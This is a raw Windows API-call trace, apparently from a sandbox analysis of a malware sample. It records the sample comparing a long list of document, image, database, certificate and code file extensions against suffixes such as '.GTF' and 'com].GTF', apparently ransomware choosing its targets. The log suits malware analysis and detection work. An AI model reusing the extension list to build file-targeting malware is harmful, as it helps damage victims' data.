	[0067.753] lstrlenW (lpString=".3gp") returned 4
	[0067.753] lstrcmpiW (lpString1=".3gp", lpString2=".GTF") returned -1
	[0067.753] lstrlenW (lpString=".7z") returned 3
	[0067.753] lstrcmpiW (lpString1=".7z", lpString2="GTF") returned -1
	[0067.753] lstrlenW (lpString=".accda") returned 6
	[0067.753] lstrcmpiW (lpString1=".accda", lpString2="m].GTF") returned -1
	[0067.753] lstrlenW (lpString=".accdb") returned 6
	[0067.753] lstrcmpiW (lpString1=".accdb", lpString2="m].GTF") returned -1
	[0067.753] lstrlenW (lpString=".accdc") returned 6
	[0067.753] lstrcmpiW (lpString1=".accdc", lpString2="m].GTF") returned -1
	[0067.753] lstrlenW (lpString=".accde") returned 6
	[0067.753] lstrcmpiW (lpString1=".accde", lpString2="m].GTF") returned -1
	[0067.753] lstrlenW (lpString=".accdt") returned 6
	[0067.753] lstrcmpiW (lpString1=".accdt", lpString2="m].GTF") returned -1
	[0067.753] lstrlenW (lpString=".accdw") returned 6
	[0067.753] lstrcmpiW (lpString1=".accdw", lpString2="m].GTF") returned -1
	[0067.753] lstrlenW (lpString=".adb") returned 4
	[0067.753] lstrcmpiW (lpString1=".adb", lpString2=".GTF") returned -1
	[0067.753] lstrlenW (lpString=".adp") returned 4
	[0067.753] lstrcmpiW (lpString1=".adp", lpString2=".GTF") returned -1
	[0067.753] lstrlenW (lpString=".ai") returned 3
	[0067.754] lstrcmpiW (lpString1=".ai", lpString2="GTF") returned -1
	[0067.754] lstrlenW (lpString=".ai3") returned 4
	[0067.754] lstrcmpiW (lpString1=".ai3", lpString2=".GTF") returned -1
	[0067.754] lstrlenW (lpString=".ai4") returned 4
	[0067.754] lstrcmpiW (lpString1=".ai4", lpString2=".GTF") returned -1
	[0067.754] lstrlenW (lpString=".ai5") returned 4
	[0067.754] lstrcmpiW (lpString1=".ai5", lpString2=".GTF") returned -1
	[0067.754] lstrlenW (lpString=".ai6") returned 4
	[0067.754] lstrcmpiW (lpString1=".ai6", lpString2=".GTF") returned -1
	[0067.754] lstrlenW (lpString=".ai7") returned 4
	[0067.754] lstrcmpiW (lpString1=".ai7", lpString2=".GTF") returned -1
	[0067.754] lstrlenW (lpString=".ai8") returned 4
	[0067.754] lstrcmpiW (lpString1=".ai8", lpString2=".GTF") returned -1
	[0067.754] lstrlenW (lpString=".anim") returned 5
	[0067.754] lstrcmpiW (lpString1=".anim", lpString2="].GTF") returned -1
	[0067.754] lstrlenW (lpString=".arw") returned 4
	[0067.754] lstrcmpiW (lpString1=".arw", lpString2=".GTF") returned -1
	[0067.754] lstrlenW (lpString=".as") returned 3
	[0067.754] lstrcmpiW (lpString1=".as", lpString2="GTF") returned -1
	[0067.754] lstrlenW (lpString=".asa") returned 4
	[0067.754] lstrcmpiW (lpString1=".asa", lpString2=".GTF") returned -1
	[0067.754] lstrlenW (lpString=".asc") returned 4
	[0067.754] lstrcmpiW (lpString1=".asc", lpString2=".GTF") returned -1
	[0067.754] lstrlenW (lpString=".ascx") returned 5
	[0067.754] lstrcmpiW (lpString1=".ascx", lpString2="].GTF") returned -1
	[0067.754] lstrlenW (lpString=".asm") returned 4
	[0067.754] lstrcmpiW (lpString1=".asm", lpString2=".GTF") returned -1
	[0067.754] lstrlenW (lpString=".asmx") returned 5
	[0067.754] lstrcmpiW (lpString1=".asmx", lpString2="].GTF") returned -1
	[0067.754] lstrlenW (lpString=".asp") returned 4
	[0067.754] lstrcmpiW (lpString1=".asp", lpString2=".GTF") returned -1
	[0067.754] lstrlenW (lpString=".aspx") returned 5
	[0067.754] lstrcmpiW (lpString1=".aspx", lpString2="].GTF") returned -1
	[0067.754] lstrlenW (lpString=".asr") returned 4
	[0067.754] lstrcmpiW (lpString1=".asr", lpString2=".GTF") returned -1
	[0067.754] lstrlenW (lpString=".asx") returned 4
	[0067.754] lstrcmpiW (lpString1=".asx", lpString2=".GTF") returned -1
	[0067.755] lstrlenW (lpString=".avi") returned 4
	[0067.755] lstrcmpiW (lpString1=".avi", lpString2=".GTF") returned -1
	[0067.755] lstrlenW (lpString=".avs") returned 4
	[0067.755] lstrcmpiW (lpString1=".avs", lpString2=".GTF") returned -1
	[0067.755] lstrlenW (lpString=".backup") returned 7
	[0067.755] lstrcmpiW (lpString1=".backup", lpString2="om].GTF") returned -1
	[0067.755] lstrlenW (lpString=".bak") returned 4
	[0067.755] lstrcmpiW (lpString1=".bak", lpString2=".GTF") returned -1
	[0067.755] lstrlenW (lpString=".bay") returned 4
	[0067.755] lstrcmpiW (lpString1=".bay", lpString2=".GTF") returned -1
	[0067.755] lstrlenW (lpString=".bd") returned 3
	[0067.755] lstrcmpiW (lpString1=".bd", lpString2="GTF") returned -1
	[0067.755] lstrlenW (lpString=".bin") returned 4
	[0067.755] lstrcmpiW (lpString1=".bin", lpString2=".GTF") returned -1
	[0067.755] lstrlenW (lpString=".bmp") returned 4
	[0067.755] lstrcmpiW (lpString1=".bmp", lpString2=".GTF") returned -1
	[0067.755] lstrlenW (lpString=".bz2") returned 4
	[0067.755] lstrcmpiW (lpString1=".bz2", lpString2=".GTF") returned -1
	[0067.755] lstrlenW (lpString=".c") returned 2
	[0067.755] lstrcmpiW (lpString1=".c", lpString2="TF") returned -1
	[0067.755] lstrlenW (lpString=".cdr") returned 4
	[0067.755] lstrcmpiW (lpString1=".cdr", lpString2=".GTF") returned -1
	[0067.755] lstrlenW (lpString=".cer") returned 4
	[0067.755] lstrcmpiW (lpString1=".cer", lpString2=".GTF") returned -1
	[0067.755] lstrlenW (lpString=".cf") returned 3
	[0067.755] lstrcmpiW (lpString1=".cf", lpString2="GTF") returned -1
	[0067.755] lstrlenW (lpString=".cfc") returned 4
	[0067.755] lstrcmpiW (lpString1=".cfc", lpString2=".GTF") returned -1
	[0067.755] lstrlenW (lpString=".cfm") returned 4
	[0067.755] lstrcmpiW (lpString1=".cfm", lpString2=".GTF") returned -1
	[0067.755] lstrlenW (lpString=".cfml") returned 5
	[0067.755] lstrcmpiW (lpString1=".cfml", lpString2="].GTF") returned -1
	[0067.755] lstrlenW (lpString=".cfu") returned 4
	[0067.755] lstrcmpiW (lpString1=".cfu", lpString2=".GTF") returned -1
	[0067.755] lstrlenW (lpString=".chm") returned 4
	[0067.755] lstrcmpiW (lpString1=".chm", lpString2=".GTF") returned -1
	[0067.755] lstrlenW (lpString=".cin") returned 4
	[0067.755] lstrcmpiW (lpString1=".cin", lpString2=".GTF") returned -1
	[0067.756] lstrlenW (lpString=".class") returned 6
	[0067.756] lstrcmpiW (lpString1=".class", lpString2="m].GTF") returned -1
	[0067.756] lstrlenW (lpString=".clx") returned 4
	[0067.756] lstrcmpiW (lpString1=".clx", lpString2=".GTF") returned -1
	[0067.756] lstrlenW (lpString=".config") returned 7
	[0067.756] lstrcmpiW (lpString1=".config", lpString2="om].GTF") returned -1
	[0067.756] lstrlenW (lpString=".cpp") returned 4
	[0067.756] lstrcmpiW (lpString1=".cpp", lpString2=".GTF") returned -1
	[0067.756] lstrlenW (lpString=".cr2") returned 4
	[0067.756] lstrcmpiW (lpString1=".cr2", lpString2=".GTF") returned -1
	[0067.756] lstrlenW (lpString=".crt") returned 4
	[0067.756] lstrcmpiW (lpString1=".crt", lpString2=".GTF") returned -1
	[0067.756] lstrlenW (lpString=".crw") returned 4
	[0067.756] lstrcmpiW (lpString1=".crw", lpString2=".GTF") returned -1
	[0067.756] lstrlenW (lpString=".cs") returned 3
	[0067.756] lstrcmpiW (lpString1=".cs", lpString2="GTF") returned -1
	[0067.756] lstrlenW (lpString=".css") returned 4
	[0067.756] lstrcmpiW (lpString1=".css", lpString2=".GTF") returned -1
	[0067.756] lstrlenW (lpString=".csv") returned 4
	[0067.756] lstrcmpiW (lpString1=".csv", lpString2=".GTF") returned -1
	[0067.756] lstrlenW (lpString=".cub") returned 4
	[0067.756] lstrcmpiW (lpString1=".cub", lpString2=".GTF") returned -1
	[0067.756] lstrlenW (lpString=".dae") returned 4
	[0067.756] lstrcmpiW (lpString1=".dae", lpString2=".GTF") returned -1
	[0067.756] lstrlenW (lpString=".dat") returned 4
	[0067.756] lstrcmpiW (lpString1=".dat", lpString2=".GTF") returned -1
	[0067.756] lstrlenW (lpString=".db") returned 3
	[0067.756] lstrcmpiW (lpString1=".db", lpString2="GTF") returned -1
	[0067.756] lstrlenW (lpString=".dbf") returned 4
	[0067.756] lstrcmpiW (lpString1=".dbf", lpString2=".GTF") returned -1
	[0067.756] lstrlenW (lpString=".dbx") returned 4
	[0067.756] lstrcmpiW (lpString1=".dbx", lpString2=".GTF") returned -1
	[0067.756] lstrlenW (lpString=".dc3") returned 4
	[0067.756] lstrcmpiW (lpString1=".dc3", lpString2=".GTF") returned -1
	[0067.756] lstrlenW (lpString=".dcm") returned 4
	[0067.756] lstrcmpiW (lpString1=".dcm", lpString2=".GTF") returned -1
	[0067.756] lstrlenW (lpString=".dcr") returned 4
	[0067.756] lstrcmpiW (lpString1=".dcr", lpString2=".GTF") returned -1
	[0067.757] lstrlenW (lpString=".der") returned 4
	[0067.757] lstrcmpiW (lpString1=".der", lpString2=".GTF") returned -1
	[0067.757] lstrlenW (lpString=".dib") returned 4
	[0067.757] lstrcmpiW (lpString1=".dib", lpString2=".GTF") returned -1
	[0067.757] lstrlenW (lpString=".dic") returned 4
	[0067.757] lstrcmpiW (lpString1=".dic", lpString2=".GTF") returned -1
	[0067.757] lstrlenW (lpString=".dif") returned 4
	[0067.757] lstrcmpiW (lpString1=".dif", lpString2=".GTF") returned -1
	[0067.757] lstrlenW (lpString=".divx") returned 5
	[0067.757] lstrcmpiW (lpString1=".divx", lpString2="].GTF") returned -1
	[0067.757] lstrlenW (lpString=".djvu") returned 5
	[0067.757] lstrcmpiW (lpString1=".djvu", lpString2="].GTF") returned -1
	[0067.757] lstrlenW (lpString=".dng") returned 4
	[0067.757] lstrcmpiW (lpString1=".dng", lpString2=".GTF") returned -1
	[0067.757] lstrlenW (lpString=".doc") returned 4
	[0067.757] lstrcmpiW (lpString1=".doc", lpString2=".GTF") returned -1
	[0067.757] lstrlenW (lpString=".docm") returned 5
	[0067.757] lstrcmpiW (lpString1=".docm", lpString2="].GTF") returned -1
	[0067.757] lstrlenW (lpString=".docx") returned 5
	[0067.757] lstrcmpiW (lpString1=".docx", lpString2="].GTF") returned -1
	[0067.757] lstrlenW (lpString=".dot") returned 4
	[0067.757] lstrcmpiW (lpString1=".dot", lpString2=".GTF") returned -1
	[0067.757] lstrlenW (lpString=".dotm") returned 5
	[0067.757] lstrcmpiW (lpString1=".dotm", lpString2="].GTF") returned -1
	[0067.757] lstrlenW (lpString=".dotx") returned 5
	[0067.757] lstrcmpiW (lpString1=".dotx", lpString2="].GTF") returned -1
	[0067.757] lstrlenW (lpString=".dpx") returned 4
	[0067.757] lstrcmpiW (lpString1=".dpx", lpString2=".GTF") returned -1
	[0067.757] lstrlenW (lpString=".dqy") returned 4
	[0067.757] lstrcmpiW (lpString1=".dqy", lpString2=".GTF") returned -1
	[0067.757] lstrlenW (lpString=".dsn") returned 4
	[0067.757] lstrcmpiW (lpString1=".dsn", lpString2=".GTF") returned -1
	[0067.757] lstrlenW (lpString=".dt") returned 3
	[0067.757] lstrcmpiW (lpString1=".dt", lpString2="GTF") returned -1
	[0067.757] lstrlenW (lpString=".dtd") returned 4
	[0067.757] lstrcmpiW (lpString1=".dtd", lpString2=".GTF") returned -1
	[0067.757] lstrlenW (lpString=".dwg") returned 4
	[0067.757] lstrcmpiW (lpString1=".dwg", lpString2=".GTF") returned -1
	[0067.758] lstrlenW (lpString=".dwt") returned 4
	[0067.758] lstrcmpiW (lpString1=".dwt", lpString2=".GTF") returned -1
	[0067.758] lstrlenW (lpString=".dx") returned 3
	[0067.758] lstrcmpiW (lpString1=".dx", lpString2="GTF") returned -1
	[0067.758] lstrlenW (lpString=".dxf") returned 4
	[0067.758] lstrcmpiW (lpString1=".dxf", lpString2=".GTF") returned -1
	[0067.758] lstrlenW (lpString=".edml") returned 5
	[0067.758] lstrcmpiW (lpString1=".edml", lpString2="].GTF") returned -1
	[0067.758] lstrlenW (lpString=".efd") returned 4
	[0067.758] lstrcmpiW (lpString1=".efd", lpString2=".GTF") returned -1
	[0067.758] lstrlenW (lpString=".elf") returned 4
	[0067.758] lstrcmpiW (lpString1=".elf", lpString2=".GTF") returned -1
	[0067.758] lstrlenW (lpString=".emf") returned 4
	[0067.758] lstrcmpiW (lpString1=".emf", lpString2=".GTF") returned -1
	[0067.758] lstrlenW (lpString=".emz") returned 4
	[0067.758] lstrcmpiW (lpString1=".emz", lpString2=".GTF") returned -1
	[0067.758] lstrlenW (lpString=".epf") returned 4
	[0067.758] lstrcmpiW (lpString1=".epf", lpString2=".GTF") returned -1
	[0067.758] lstrlenW (lpString=".eps") returned 4
	[0067.758] lstrcmpiW (lpString1=".eps", lpString2=".GTF") returned -1
	[0067.758] lstrlenW (lpString=".epsf") returned 5
	[0067.758] lstrcmpiW (lpString1=".epsf", lpString2="].GTF") returned -1
	[0067.758] lstrlenW (lpString=".epsp") returned 5
	[0067.758] lstrcmpiW (lpString1=".epsp", lpString2="].GTF") returned -1
	[0067.758] lstrlenW (lpString=".erf") returned 4
	[0067.758] lstrcmpiW (lpString1=".erf", lpString2=".GTF") returned -1
	[0067.758] lstrlenW (lpString=".exr") returned 4
	[0067.758] lstrcmpiW (lpString1=".exr", lpString2=".GTF") returned -1
	[0067.758] lstrlenW (lpString=".f4v") returned 4
	[0067.758] lstrcmpiW (lpString1=".f4v", lpString2=".GTF") returned -1
	[0067.758] lstrlenW (lpString=".fido") returned 5
	[0067.758] lstrcmpiW (lpString1=".fido", lpString2="].GTF") returned -1
	[0067.758] lstrlenW (lpString=".flm") returned 4
	[0067.758] lstrcmpiW (lpString1=".flm", lpString2=".GTF") returned -1
	[0067.758] lstrlenW (lpString=".flv") returned 4
	[0067.758] lstrcmpiW (lpString1=".flv", lpString2=".GTF") returned -1
	[0067.758] lstrlenW (lpString=".frm") returned 4
	[0067.758] lstrcmpiW (lpString1=".frm", lpString2=".GTF") returned -1
	[0067.759] lstrlenW (lpString=".fxg") returned 4
	[0067.759] lstrcmpiW (lpString1=".fxg", lpString2=".GTF") returned -1
	[0067.759] lstrlenW (lpString=".geo") returned 4
	[0067.759] lstrcmpiW (lpString1=".geo", lpString2=".GTF") returned -1
	[0067.759] lstrlenW (lpString=".gif") returned 4
	[0067.759] lstrcmpiW (lpString1=".gif", lpString2=".GTF") returned -1
	[0067.759] lstrlenW (lpString=".grs") returned 4
	[0067.759] lstrcmpiW (lpString1=".grs", lpString2=".GTF") returned -1
	[0067.759] lstrlenW (lpString=".gz") returned 3
	[0067.759] lstrcmpiW (lpString1=".gz", lpString2="GTF") returned -1
	[0067.759] lstrlenW (lpString=".h") returned 2
	[0067.759] lstrcmpiW (lpString1=".h", lpString2="TF") returned -1
	[0067.759] lstrlenW (lpString=".hdr") returned 4
	[0067.759] lstrcmpiW (lpString1=".hdr", lpString2=".GTF") returned 1
	[0067.759] lstrlenW (lpString=".hpp") returned 4
	[0067.759] lstrcmpiW (lpString1=".hpp", lpString2=".GTF") returned 1
	[0067.759] lstrlenW (lpString=".hta") returned 4
	[0067.759] lstrcmpiW (lpString1=".hta", lpString2=".GTF") returned 1
	[0067.759] lstrlenW (lpString=".htc") returned 4
	[0067.759] lstrcmpiW (lpString1=".htc", lpString2=".GTF") returned 1
	[0067.759] lstrlenW (lpString=".htm") returned 4
	[0067.759] lstrcmpiW (lpString1=".htm", lpString2=".GTF") returned 1
	[0067.759] lstrlenW (lpString=".html") returned 5
	[0067.759] lstrcmpiW (lpString1=".html", lpString2="].GTF") returned -1
	[0067.759] lstrlenW (lpString=".icb") returned 4
	[0067.759] lstrcmpiW (lpString1=".icb", lpString2=".GTF") returned 1
	[0067.759] lstrlenW (lpString=".ics") returned 4
	[0067.759] lstrcmpiW (lpString1=".ics", lpString2=".GTF") returned 1
	[0067.759] lstrlenW (lpString=".iff") returned 4
	[0067.759] lstrcmpiW (lpString1=".iff", lpString2=".GTF") returned 1
	[0067.759] lstrlenW (lpString=".inc") returned 4
	[0067.759] lstrcmpiW (lpString1=".inc", lpString2=".GTF") returned 1
	[0067.759] lstrlenW (lpString=".indd") returned 5
	[0067.759] lstrcmpiW (lpString1=".indd", lpString2="].GTF") returned -1
	[0067.759] lstrlenW (lpString=".ini") returned 4
	[0067.759] lstrcmpiW (lpString1=".ini", lpString2=".GTF") returned 1
	[0067.759] lstrlenW (lpString=".iqy") returned 4
	[0067.760] lstrcmpiW (lpString1=".iqy", lpString2=".GTF") returned 1
	[0067.760] lstrlenW (lpString=".j2c") returned 4
	[0067.760] lstrcmpiW (lpString1=".j2c", lpString2=".GTF") returned 1
	[0067.760] lstrlenW (lpString=".j2k") returned 4
	[0067.760] lstrcmpiW (lpString1=".j2k", lpString2=".GTF") returned 1
	[0067.760] lstrlenW (lpString=".java") returned 5
	[0067.760] lstrcmpiW (lpString1=".java", lpString2="].GTF") returned -1
	[0067.760] lstrlenW (lpString=".jp2") returned 4
	[0067.760] lstrcmpiW (lpString1=".jp2", lpString2=".GTF") returned 1
	[0067.760] lstrlenW (lpString=".jpc") returned 4
	[0067.760] lstrcmpiW (lpString1=".jpc", lpString2=".GTF") returned 1
	[0067.760] lstrlenW (lpString=".jpe") returned 4
	[0067.760] lstrcmpiW (lpString1=".jpe", lpString2=".GTF") returned 1
	[0067.760] lstrlenW (lpString=".jpeg") returned 5
	[0067.760] lstrcmpiW (lpString1=".jpeg", lpString2="].GTF") returned -1
	[0067.760] lstrlenW (lpString=".jpf") returned 4
	[0067.760] lstrcmpiW (lpString1=".jpf", lpString2=".GTF") returned 1
	[0067.760] lstrlenW (lpString=".jpg") returned 4
	[0067.760] lstrcmpiW (lpString1=".jpg", lpString2=".GTF") returned 1
	[0067.760] lstrlenW (lpString=".jpx") returned 4
	[0067.760] lstrcmpiW (lpString1=".jpx", lpString2=".GTF") returned 1
	[0067.760] lstrlenW (lpString=".js") returned 3
	[0067.760] lstrcmpiW (lpString1=".js", lpString2="GTF") returned -1
	[0067.760] lstrlenW (lpString=".jsf") returned 4
	[0067.760] lstrcmpiW (lpString1=".jsf", lpString2=".GTF") returned 1
	[0067.760] lstrlenW (lpString=".json") returned 5
	[0067.760] lstrcmpiW (lpString1=".json", lpString2="].GTF") returned -1
	[0067.760] lstrlenW (lpString=".jsp") returned 4
	[0067.760] lstrcmpiW (lpString1=".jsp", lpString2=".GTF") returned 1
	[0067.760] lstrlenW (lpString=".kdc") returned 4
	[0067.760] lstrcmpiW (lpString1=".kdc", lpString2=".GTF") returned 1
	[0067.760] lstrlenW (lpString=".kmz") returned 4
	[0067.760] lstrcmpiW (lpString1=".kmz", lpString2=".GTF") returned 1
	[0067.760] lstrlenW (lpString=".kwm") returned 4
	[0067.760] lstrcmpiW (lpString1=".kwm", lpString2=".GTF") returned 1
	[0067.760] lstrlenW (lpString=".lasso") returned 6
	[0067.760] lstrcmpiW (lpString1=".lasso", lpString2="m].GTF") returned -1
	[0067.760] lstrlenW (lpString=".lbi") returned 4
	[0067.761] lstrcmpiW (lpString1=".lbi", lpString2=".GTF") returned 1
	[0067.761] lstrlenW (lpString=".lgf") returned 4
	[0067.761] lstrcmpiW (lpString1=".lgf", lpString2=".GTF") returned 1
	[0067.761] lstrlenW (lpString=".lgp") returned 4
	[0067.761] lstrcmpiW (lpString1=".lgp", lpString2=".GTF") returned 1
	[0067.761] lstrlenW (lpString=".log") returned 4
	[0067.761] lstrcmpiW (lpString1=".log", lpString2=".GTF") returned 1
	[0067.761] lstrlenW (lpString=".m1v") returned 4
	[0067.761] lstrcmpiW (lpString1=".m1v", lpString2=".GTF") returned 1
	[0067.761] lstrlenW (lpString=".m4a") returned 4
	[0067.761] lstrcmpiW (lpString1=".m4a", lpString2=".GTF") returned 1
	[0067.761] lstrlenW (lpString=".m4v") returned 4
	[0067.761] lstrcmpiW (lpString1=".m4v", lpString2=".GTF") returned 1
	[0067.761] lstrlenW (lpString=".max") returned 4
	[0067.761] lstrcmpiW (lpString1=".max", lpString2=".GTF") returned 1
	[0067.761] lstrlenW (lpString=".md") returned 3
	[0067.761] lstrcmpiW (lpString1=".md", lpString2="GTF") returned -1
	[0067.761] lstrlenW (lpString=".mda") returned 4
	[0067.761] lstrcmpiW (lpString1=".mda", lpString2=".GTF") returned 1
	[0067.761] lstrlenW (lpString=".mdb") returned 4
	[0067.761] lstrcmpiW (lpString1=".mdb", lpString2=".GTF") returned 1
	[0067.761] lstrlenW (lpString=".mde") returned 4
	[0067.761] lstrcmpiW (lpString1=".mde", lpString2=".GTF") returned 1
	[0067.761] lstrlenW (lpString=".mdf") returned 4
	[0067.761] lstrcmpiW (lpString1=".mdf", lpString2=".GTF") returned 1
	[0067.761] lstrlenW (lpString=".mdw") returned 4
	[0067.761] lstrcmpiW (lpString1=".mdw", lpString2=".GTF") returned 1
	[0067.761] lstrlenW (lpString=".mef") returned 4
	[0067.761] lstrcmpiW (lpString1=".mef", lpString2=".GTF") returned 1
	[0067.761] lstrlenW (lpString=".mft") returned 4
	[0067.761] lstrcmpiW (lpString1=".mft", lpString2=".GTF") returned 1
	[0067.761] lstrlenW (lpString=".mfw") returned 4
	[0067.761] lstrcmpiW (lpString1=".mfw", lpString2=".GTF") returned 1
	[0067.761] lstrlenW (lpString=".mht") returned 4
	[0067.761] lstrcmpiW (lpString1=".mht", lpString2=".GTF") returned 1
	[0067.761] lstrlenW (lpString=".mhtml") returned 6
	[0067.761] lstrcmpiW (lpString1=".mhtml", lpString2="m].GTF") returned -1
	[0067.761] lstrlenW (lpString=".mka") returned 4
	[0067.762] lstrcmpiW (lpString1=".mka", lpString2=".GTF") returned 1
	[0067.762] lstrlenW (lpString=".mkidx") returned 6
	[0067.762] lstrcmpiW (lpString1=".mkidx", lpString2="m].GTF") returned -1
	[0067.762] lstrlenW (lpString=".mkv") returned 4
	[0067.762] lstrcmpiW (lpString1=".mkv", lpString2=".GTF") returned 1
	[0067.762] lstrlenW (lpString=".mos") returned 4
	[0067.762] lstrcmpiW (lpString1=".mos", lpString2=".GTF") returned 1
	[0067.762] lstrlenW (lpString=".mov") returned 4
	[0067.762] lstrcmpiW (lpString1=".mov", lpString2=".GTF") returned 1
	[0067.762] lstrlenW (lpString=".mp3") returned 4
	[0067.762] lstrcmpiW (lpString1=".mp3", lpString2=".GTF") returned 1
	[0067.762] lstrlenW (lpString=".mp4") returned 4
	[0067.762] lstrcmpiW (lpString1=".mp4", lpString2=".GTF") returned 1
	[0067.762] lstrlenW (lpString=".mpeg") returned 5
	[0067.762] lstrcmpiW (lpString1=".mpeg", lpString2="].GTF") returned -1
	[0067.762] lstrlenW (lpString=".mpg") returned 4
	[0067.762] lstrcmpiW (lpString1=".mpg", lpString2=".GTF") returned 1
	[0067.762] lstrlenW (lpString=".mpv") returned 4
	[0067.762] lstrcmpiW (lpString1=".mpv", lpString2=".GTF") returned 1
	[0067.762] lstrlenW (lpString=".mrw") returned 4
	[0067.762] lstrcmpiW (lpString1=".mrw", lpString2=".GTF") returned 1
	[0067.762] lstrlenW (lpString=".msg") returned 4
	[0067.762] lstrcmpiW (lpString1=".msg", lpString2=".GTF") returned 1
	[0067.762] lstrlenW (lpString=".mxl") returned 4
	[0067.762] lstrcmpiW (lpString1=".mxl", lpString2=".GTF") returned 1
	[0067.762] lstrlenW (lpString=".myd") returned 4
	[0067.762] lstrcmpiW (lpString1=".myd", lpString2=".GTF") returned 1
	[0067.762] lstrlenW (lpString=".myi") returned 4
	[0067.762] lstrcmpiW (lpString1=".myi", lpString2=".GTF") returned 1
	[0067.762] lstrlenW (lpString=".nef") returned 4
	[0067.762] lstrcmpiW (lpString1=".nef", lpString2=".GTF") returned 1
	[0067.762] lstrlenW (lpString=".nrw") returned 4
	[0067.762] lstrcmpiW (lpString1=".nrw", lpString2=".GTF") returned 1
	[0067.762] lstrlenW (lpString=".obj") returned 4
	[0067.762] lstrcmpiW (lpString1=".obj", lpString2=".GTF") returned 1
	[0067.762] lstrlenW (lpString=".odb") returned 4
	[0067.762] lstrcmpiW (lpString1=".odb", lpString2=".GTF") returned 1
	[0067.762] lstrlenW (lpString=".odc") returned 4
	[0067.763] lstrcmpiW (lpString1=".odc", lpString2=".GTF") returned 1
	[0067.763] lstrlenW (lpString=".odm") returned 4
	[0067.763] lstrcmpiW (lpString1=".odm", lpString2=".GTF") returned 1
	[0067.763] lstrlenW (lpString=".odp") returned 4
	[0067.763] lstrcmpiW (lpString1=".odp", lpString2=".GTF") returned 1
	[0067.763] lstrlenW (lpString=".ods") returned 4
	[0067.763] lstrcmpiW (lpString1=".ods", lpString2=".GTF") returned 1
	[0067.763] lstrlenW (lpString=".oft") returned 4
	[0067.763] lstrcmpiW (lpString1=".oft", lpString2=".GTF") returned 1
	[0067.763] lstrlenW (lpString=".one") returned 4
	[0067.763] lstrcmpiW (lpString1=".one", lpString2=".GTF") returned 1
	[0067.763] lstrlenW (lpString=".onepkg") returned 7
	[0067.763] lstrcmpiW (lpString1=".onepkg", lpString2="om].GTF") returned -1
	[0067.763] lstrlenW (lpString=".onetoc2") returned 8
	[0067.763] lstrcmpiW (lpString1=".onetoc2", lpString2="com].GTF") returned -1
	[0067.763] lstrlenW (lpString=".opt") returned 4
	[0067.763] lstrcmpiW (lpString1=".opt", lpString2=".GTF") returned 1
	[0067.763] lstrlenW (lpString=".oqy") returned 4
	[0067.763] lstrcmpiW (lpString1=".oqy", lpString2=".GTF") returned 1
	[0067.763] lstrlenW (lpString=".orf") returned 4
	[0067.763] lstrcmpiW (lpString1=".orf", lpString2=".GTF") returned 1
	[0067.763] lstrlenW (lpString=".p12") returned 4
	[0067.763] lstrcmpiW (lpString1=".p12", lpString2=".GTF") returned 1
	[0067.763] lstrlenW (lpString=".p7b") returned 4
	[0067.763] lstrcmpiW (lpString1=".p7b", lpString2=".GTF") returned 1
	[0067.763] lstrlenW (lpString=".p7c") returned 4
	[0067.763] lstrcmpiW (lpString1=".p7c", lpString2=".GTF") returned 1
	[0067.763] lstrlenW (lpString=".pam") returned 4
	[0067.763] lstrcmpiW (lpString1=".pam", lpString2=".GTF") returned 1
	[0067.763] lstrlenW (lpString=".pbm") returned 4
	[0067.763] lstrcmpiW (lpString1=".pbm", lpString2=".GTF") returned 1
	[0067.763] lstrlenW (lpString=".pct") returned 4
	[0067.763] lstrcmpiW (lpString1=".pct", lpString2=".GTF") returned 1
	[0067.763] lstrlenW (lpString=".pcx") returned 4
	[0067.763] lstrcmpiW (lpString1=".pcx", lpString2=".GTF") returned 1
	[0067.763] lstrlenW (lpString=".pdd") returned 4
	[0067.763] lstrcmpiW (lpString1=".pdd", lpString2=".GTF") returned 1
	[0067.764] lstrlenW (lpString=".pdf") returned 4
	[0067.764] lstrcmpiW (lpString1=".pdf", lpString2=".GTF") returned 1
	[0067.764] lstrlenW (lpString=".pdp") returned 4
	[0067.764] lstrcmpiW (lpString1=".pdp", lpString2=".GTF") returned 1
	[0067.764] lstrlenW (lpString=".pef") returned 4
	[0067.764] lstrcmpiW (lpString1=".pef", lpString2=".GTF") returned 1
	[0067.764] lstrlenW (lpString=".pem") returned 4
	[0067.764] lstrcmpiW (lpString1=".pem", lpString2=".GTF") returned 1
	[0067.764] lstrlenW (lpString=".pff") returned 4
	[0067.764] lstrcmpiW (lpString1=".pff", lpString2=".GTF") returned 1
	[0067.764] lstrlenW (lpString=".pfm") returned 4
	[0067.764] lstrcmpiW (lpString1=".pfm", lpString2=".GTF") returned 1
	[0067.764] lstrlenW (lpString=".pfx") returned 4
	[0067.764] lstrcmpiW (lpString1=".pfx", lpString2=".GTF") returned 1
	[0067.764] lstrlenW (lpString=".pgm") returned 4
	[0067.764] lstrcmpiW (lpString1=".pgm", lpString2=".GTF") returned 1
	[0067.764] lstrlenW (lpString=".php") returned 4
	[0067.764] lstrcmpiW (lpString1=".php", lpString2=".GTF") returned 1
	[0067.764] lstrlenW (lpString=".php3") returned 5
	[0067.764] lstrcmpiW (lpString1=".php3", lpString2="].GTF") returned -1
	[0067.764] lstrlenW (lpString=".php4") returned 5
	[0067.764] lstrcmpiW (lpString1=".php4", lpString2="].GTF") returned -1
	[0067.764] lstrlenW (lpString=".php5") returned 5
	[0067.764] lstrcmpiW (lpString1=".php5", lpString2="].GTF") returned -1
	[0067.764] lstrlenW (lpString=".phtml") returned 6
	[0067.764] lstrcmpiW (lpString1=".phtml", lpString2="m].GTF") returned -1
	[0067.764] lstrlenW (lpString=".pict") returned 5
	[0067.764] lstrcmpiW (lpString1=".pict", lpString2="].GTF") returned -1
	[0067.764] lstrlenW (lpString=".pl") returned 3
	[0067.764] lstrcmpiW (lpString1=".pl", lpString2="GTF") returned -1
	[0067.764] lstrlenW (lpString=".pls") returned 4
	[0067.764] lstrcmpiW (lpString1=".pls", lpString2=".GTF") returned 1
	[0067.764] lstrlenW (lpString=".pm") returned 3
	[0067.764] lstrcmpiW (lpString1=".pm", lpString2="GTF") returned -1
	[0067.764] lstrlenW (lpString=".png") returned 4
	[0067.764] lstrcmpiW (lpString1=".png", lpString2=".GTF") returned 1
	[0067.764] lstrlenW (lpString=".pnm") returned 4
	[0067.764] lstrcmpiW (lpString1=".pnm", lpString2=".GTF") returned 1
	[0067.765] lstrlenW (lpString=".pot") returned 4
	[0067.765] lstrcmpiW (lpString1=".pot", lpString2=".GTF") returned 1
	[0067.765] lstrlenW (lpString=".potm") returned 5
	[0067.765] lstrcmpiW (lpString1=".potm", lpString2="].GTF") returned -1
	[0067.765] lstrlenW (lpString=".potx") returned 5
	[0067.765] lstrcmpiW (lpString1=".potx", lpString2="].GTF") returned -1
